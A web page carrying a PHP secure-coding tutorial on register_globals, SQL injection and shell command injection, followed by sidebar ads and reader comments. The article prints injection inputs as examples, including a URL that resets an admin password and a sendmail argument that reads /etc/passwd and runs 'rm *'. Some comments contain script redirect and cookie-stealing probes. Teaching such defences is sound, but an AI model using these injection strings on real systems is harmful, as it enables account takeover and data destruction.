Programming PHP with Security in Mind
From time to time, you will find a security advisory about some major web application on security mailing lists. Most of the time, the problem is fixed easily. The errors often occur because the author had five minutes to do his application while his boss was yelling at him, or was distracted when developing it or simply did not have enough practice in programming secure web applications.
Writing a secure web application is not an easy task, because the real problem is not a matter of knowledge but one of practice. It is a good idea to keep some tips in mind when programming. To help memorize them, you should understand how and why they are so important. Then you can start to change your programming practices in the future. Knowledge of the most common threats and respective modes of attack can go a long way toward increasing security.
This article provides a basis for understanding secure programming with PHP and gives a broader view of the subject. You should keep in mind that these guidelines identify only the most common threats and how to avoid them, reducing the risk of security compromise at the same time.
The basic rule for writing a secure application is: never trust user input. Poorly validated user input constitutes the most severe security vulnerabilities in any web application. In other words, input data should be considered guilty unless proven innocent.
PHP versions prior to 4.2.0 registered by default all kinds of external variables in the global scope. So no variable could be trusted, whether external or internal.
Look at the following example:
<?php
if (authenticate_user()) {
$authenticated = true;
}
...
if (!$authenticated) {
die("Authorization required");
}
?>
If you set $authenticated to 1 via GET, like this:
http://example.com/admin.php?authenticated=1you would pass the last “if” in the previous example.
Thankfully, since version 4.1.0, PHP has deprecated register_globals. This means that GET, POST, Cookie, Server, Environment and Session variables are no longer in the global scope anymore. To help users build PHP applications with register_globals off, several new special arrays exist that are automatically global in any scope. They include $_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST and $_SESSION.
If the directive register_globals is on, do yourself a favor and turn it off. If you turn it off and then validate all the user input, you made a big step toward secure programming. In many cases, a type casting is sufficient validation.
Client-side JavaScript form checks do not make any difference, because an attacker can submit any request, not only one that is available on the form. Here is an example of what this would look like:
<?php
$_SESSION['authenticated'] = false;
if (authenticate_user()) {
$_SESSION['authenticated'] = true;
}
...
if (!$_SESSION['authenticated']) {
die("Authorization required");
}
?>
Most PHP applications use databases, and they use input from a web form to construct SQL query strings. This type of interaction can be a security problem.
Imagine a PHP script that edits data from some table, with a web form that POSTs to the same script. The beginning of the script checks to see if the form was submitted, and if so, it updates the table the user chose.
<?php
if ($update_table_submit) {
$db->query("update $table set name=$name");
}
?>
If you do not validate the variable $table that came from the web form, and if you do not check to see if the $update_table_submit variable came from the form (via $POST['update_table_submit']), you can set its value via GET to whatever you want. You could do it like this:
http://example.com/edit.php?update_table_submit =1&table=users+set+password%3Daaa +where+user%3D%27admin%27+%23which results in the following SQL query:
update users set password=aaa where user="admin" # set name=$nameA simple validation for the $table variable would be to check whether its content is alphabetical only, or if it is only one word (if (count(explode("",$table)) { ... }).
Sometimes we need to call external programs (using system(), exec(), popen(), passthru() or the back-tick operator) in our PHP scripts. One of the most dangerous security threats is calling external programs if the program name or its arguments are based on user input. In fact, the PHP manual page for most of these functions includes a note that warns: “If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.”
Imagine the following example:
<?php
$fp = popen('/usr/sbin/sendmail -i '. $to, 'w');
?>
The user can control the content of the variable $to above in the following manner:
http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2AThe result of this input would be running this command:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *A simple solution to resolve this security problem is:
<?php
$fp = popen('/usr/sbin/sendmail -i '.
escapeshellarg($to), 'w');
?>
Better than that, check whether the content in the $to variable is
a valid e-mail address, with a regexp.
Today’s modular x86 servers are compute-centric, designed as a least common denominator to support a wide range of IT workloads. Those generic, virtualized IT workloads have much different resource optimization requirements than hyperscale and cloud applications. They have resulted in a “one size fits all” enterprise IT architecture that is not optimized for a specific set of IT workloads, and especially not emerging hyperscale workloads, such as web applications, big data, and object storage. In this report, you will learn how shifting the focus from traditional compute-centric IT architectures to an innovative disaggregated fabric-based architecture can optimize and scale your data center.
Sponsored by AMD
Built-in forensics, incident response, and security with Red Hat Enterprise Linux 6
Every security policy provides guidance and requirements for ensuring adequate protection of information and data, as well as high-level technical and administrative security requirements for a system in a given environment. Traditionally, providing security for a system focuses on the confidentiality of the information on it. However, protecting the data integrity and system and data availability is just as important. For example, when processing United States intelligence information, there are three attributes that require protection: confidentiality, integrity, and availability.
Learn more about catching the bad guy in this free white paper.
Sponsored by DLT Solutions
| Using Salt Stack and Vagrant for Drupal Development | May 20, 2013 |
| Making Linux and Android Get Along (It's Not as Hard as It Sounds) | May 16, 2013 |
| Drupal Is a Framework: Why Everyone Needs to Understand This | May 15, 2013 |
| Home, My Backup Data Center | May 13, 2013 |
| Non-Linux FOSS: Seashore | May 10, 2013 |
| Trying to Tame the Tablet | May 08, 2013 |
- Using Salt Stack and Vagrant for Drupal Development
- Making Linux and Android Get Along (It's Not as Hard as It Sounds)
- New Products
- Validate an E-Mail Address with PHP, the Right Way
- Drupal Is a Framework: Why Everyone Needs to Understand This
- A Topic for Discussion - Open Source Feature-Richness?
- The Pari Package On Linux
- Home, My Backup Data Center
- New Products
- Dart: a New Web Programming Experience
- This is the easiest tutorial
4 hours 52 min ago - Ahh, the Koolaid.
10 hours 31 min ago - git-annex assistant
16 hours 30 min ago - direct cable connection
16 hours 53 min ago - Agreed on AirDroid. With my
17 hours 3 min ago - I just learned this
17 hours 7 min ago - enterprise
17 hours 37 min ago - not living upto the mobile revolution
20 hours 29 min ago - Deceptive Advertising and
21 hours 4 min ago - Let\'s declare that you have
21 hours 5 min ago
Free Webinar: Linux Backup and Recovery
Most companies incorporate backup procedures for critical data, which can be restored quickly if a loss occurs. However, fewer companies are prepared for catastrophic system failures, in which they lose all data, the entire operating system, applications, settings, patches and more, reducing their system(s) to “bare metal.” After all, before data can be restored to a system, there must be a system to restore it to.
In this one hour webinar, learn how to enhance your existing backup strategies for better disaster recovery preparedness using Storix System Backup Administrator (SBAdmin), a highly flexible bare-metal recovery solution for UNIX and Linux systems.




Comments
aa
window.location='http://www.yahoo.com'
Is there any way
Is there any way that a user can not get a page by typing url in address bar.
User only redirected to the target pages by submit a form or else....
i wanted to ask about the leftframe.php
look at this for e.g.
http://www.tvdekho.com/frameleft.php?url= has a left frame and then look at this
http://www.tvdekho.com/external.php?url=aHR0cDovL3d3dy52aWRlb3N0YXRlLnR2...
how is this formed. Please contact me.
Plagiarism
the URL of the actual article is:
http://www.developer.com/lang/article.php/918141
Plagiarism
I think that there are too many coincidences (same sub-topics and code snippets) with an article(http://www.developer.com/lang/archives.php), published a year prior to this one. It is just not honest not to give credit!
Most articles about security
Most articles about security and PHP cover the same topics.
Just because they both gave the "sendmail" example it doesn't really mean anything. But everyone can read both articles and judge for themselves. :-)
CSS?
Since when is CSS not cascading style sheets? You can't just invent acronyms for something that overlap other well known ones.
Re: CSS?
It's also very common for people to introduce some short name for a long name so they don't have to write down the endless name all the time. So even if it's not officially used for Cross-Side-Scripting, doesn't mean he's inventing. He's just applying some writing style that is rather common. Yeah, I read books :P
Nice article, enjoyed reading it.
Re: CSS?
XSS for cross-site scripting.
Re: CSS?
Actually CSS stands for both Cascading Style Sheets and (for a while) Cross Site Scripting. usually now though Cross Site Scripting is refered to XSS
Re: CSS?
IANAL (I Am Not A Linguist)
Re: Programming PHP with Security in Mind
alert ('http://www.cgisecurity.com/cgi-bin/cookie.cgi');
Wouldn't it be great if this article would run on a secure cms?